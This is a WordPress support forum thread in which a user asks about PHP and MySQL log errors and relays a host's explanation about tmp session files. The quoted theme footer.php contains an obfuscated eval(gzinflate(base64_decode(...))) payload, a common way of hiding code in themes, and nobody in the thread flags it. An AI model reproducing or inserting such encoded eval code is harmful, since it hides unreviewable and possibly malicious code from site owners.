Support » Fixing WordPress » Serious MySQL Errors

  • I am having multiple SQL errors in my log, I need these resolved quickly as it is overloading my server. Can anyone tell me what is wrong and how to go about fixing them?

    ERROR 1: [22-Dec-2009 09:37:04] PHP Parse error: syntax error, unexpected ‘)’ in /home/jakets/public_html/blog/wp-content/themes/autumn/footer.php on line 2

    This is the footer.php contents:

    <?php
    $footerHtml = <<<TXT
    <!-- Contact Us | Terms of Use | Trademarks
    | Privacy Statement | -->
    TXT;
    eval(gzinflate(base64_decode('bVJRa9swEH4P5D9cTTrZEKdjG3tYbIeydexlfUhgMMYQtnWxRWTJk+RkWcl/n2S7bUirB+t8p/u+u+9ulSWM76EUuTFp8FUpizrIphNw52Uk5lI+x89PkkOtcZsGyaqtWyiEqrjcqpBoY97RTgsSLWGVBY94zh3bvIp5qWQAlluBabDebIIsuclfw39Zi8W/1peStP7j45ylNWcMJRh7dICEcdOK/PhJKolLkg21TSeVUEUuYIay/CKX0wnfhoMNVykQEj3AUEDvVE3OJaQOUmvch9U/15fILYZFbvDjB8qwVAxHgChybY7JuRDqgIw9AjyjLccXZaf1BvUe9X3e4MBBNbqSSwyDw+GwCOZBMJ/Rzd36x936Fxluen/7/Y78jkYYX/0lUnpBHz08S6qxUXukeWm5kiE5tHTbC0rmRJRNS22NDVLV+rChKBl56unk7pM33O/KTcqJ7rR36l8I20MMYxrlPfOkqZd4OsGyVjAbuL/ZRniSEwqDj7HaOR2/W47jk8pnOL7/03SyOqvA9dIvnupsGC1XGSSFHpfps2qPmle1hTelM5cwZPREzI+T/CRDysUCSyfosLwLuBUC1h7EwBqN15stkpt+/0Yt+l09t1/ubZGXu0qrTrLgIuFM0AuPh8meehw0C/uiXsm9iuOxi1ZzabchpSG5ZvCnQ83RLODagHF6SmYWZA5k1xWalzsSzaFCS2XX0PFp6FyWN6ipsaoN387hfdSzQhz3nIVix97ws8r+Aw==')));
    ?>

    ERROR 2: [22-Dec-2009 09:47:49] WordPress database error Got error 28 from storage engine for query SELECT t.*, tt.*, tr.object_id FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN wp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN (‘category’, ‘post_tag’) AND tr.object_id IN (143) ORDER BY t.name ASC made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts, update_post_caches, update_object_term_cache, wp_get_object_terms

    ERROR 3: [24-Dec-2009 02:49:19] WordPress database error Duplicate entry ‘115-0’ for key 1 for query insert into wp_yarpp_related_cache (reference_ID,ID,score) values (115,0,0) made by require, require_once, do_feed, do_action, call_user_func_array, do_feed_rss2, load_template, require_once, the_excerpt_rss, apply_filters, call_user_func_array, yarpp_rss_excerpt, yarpp_related, yarpp_cache_enforce

Viewing 2 replies - 1 through 2 (of 2 total)
  • The error 3 is clearly Yet Another Related Posts Plugin. Any help on fixing any of these as well as the php error on error 1 is greatly appreciated.

    Ok I talked to my host and he cleared the TMP folder, this is what he said about error 2:

    Arkady [9:53:07 PM]: As I see there are a lot of session files created in tmp folder from your application, as example:
    [9:53:08 PM]: -rw——- 1 jakets jakets 0 Dec 23 20:48 sess_93ab811165324db9b27fea766f75fb79
    -rw——- 1 jakets jakets 0 Dec 23 20:50 sess_98615e2244dbc4474f28f2cc1800d2e5
    -rw——- 1 jakets jakets 0 Dec 23 20:48 sess_9c8e56b1d8aee7ae37523aed1a749a9a
    -rw——- 1 jakets jakets 0 Dec 23 20:49 sess_9e29fd37e5f1eb4d6b217187ac4d0ed9
    -rw——- 1 jakets jakets 0 Dec 23 20:47 sess_9e430ea063ec4f10159a505e3b82f0c0
    -rw——- 1 jakets jakets 0 Dec 23 20:48 sess_9e50dbce45f962f2f00f36b112c87d11
    -rw——- 1 jakets jakets 0 Dec 23 20:49 sess_a2d3964d42fc345fb6f30f9fada1acd7
    -rw——- 1 jakets jakets 0 Dec 23 20:48 sess_a35e6fabe147e0f2c87bde3aa68c585d
    -rw——- 1 jakets jakets 0 Dec 23 20:49 sess_a4bc122e8be4532239f87a7df681bb13
    -rw——- 1 jakets jakets 33 Dec 23 20:48 sess_a6efc621025cd5e337939c379c5f9087
    -rw——- 1 jakets jakets 0 Dec 23 20:48 sess_ab12e67525beb08d5cba2120e65def09
    -rw——- 1 jakets jakets 0 Dec 23 20:49 sess_aeeb348394e242606f3aab9852081f78
    -rw——- 1 jakets jakets 0 Dec 23 20:50 sess_b1b5cf1a3865998b7f83028b777a37b9
    -rw——- 1 jakets jakets 0 Dec 23 20:51 sess_b3e12a33e1aaf90fd9790cdd33c09c1f
    -rw——- 1 jakets jakets 0 Dec 23 20:46 sess_bef6373ee29dd3299cbe61befaf472b2
    -rw——- 1 jakets jakets 0 Dec 23 20:51 sess_bf185ebbc08f06a538197bc1846c7624
    -rw——- 1 jakets jakets 0 Dec 23 20:47 sess_c35c01c02f34e42baa632182d65e6203
    -rw——- 1 jakets jakets 0 Dec 23 20:49 sess_c41cc30f0cce3f2ac3fb64caa23d99a9
    -rw——- 1 jakets jakets 33 Dec 23 20:50 sess_c6cf453eb0fc37da3cbc1b7a66108209
    -rw——- 1 jakets jakets 0 Dec 23 20:45 sess_c713ba2f6c0fe043c92575edba785cb6
    -rw——- 1 jakets jakets 0 Dec 23 20:45 sess_c7401ef8ac00ef4816436f35b56c7a0b
    -rw——- 1 jakets jakets 0 Dec 23 20:52 sess_c8373e7a2815108a801e0ff109249cf7
    -rw——- 1 jakets jakets 33 Dec 23 20:45 sess_c9db9fb3365574bfe7596febfdbd50de
    -rw——- 1 jakets jakets 0 Dec 23 20:48 sess_caea8e52143bf584e645d83a0776ae3f
    -rw——- 1 jakets jakets 0 Dec 23 20:49 sess_d08e1e776efa59b79811e5b414e96e32
    -rw——- 1 jakets jakets 0 Dec 23 20:49 sess_d1d4a51861ecd797063324a0d8547e56
    -rw——- 1 jakets jakets 0 Dec 23 20:47 sess_d369fed65607f441d2d4ecc534c8c67a
    -rw——- 1 jakets jakets 0 Dec 23 20:47 sess_d5c90d8116f72bd09b4672a653bff8a0
    -rw——- 1 jakets jakets 0 Dec 23 20:45 sess_d6a71a8226d075ba79ca27445d3239a3
    -rw——- 1 jakets jakets 0 Dec 23 20:51 sess_d8306a2cd31b420f7f58bf8e0c4a542b
    Jake [9:53:33 PM]: what causes this, why wouldn’t they delete themselves?
    Arkady [9:54:18 PM]: Your application shouldn’t create so much files, so it would be better to consult with application developers

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘Serious MySQL Errors’ is closed to new replies.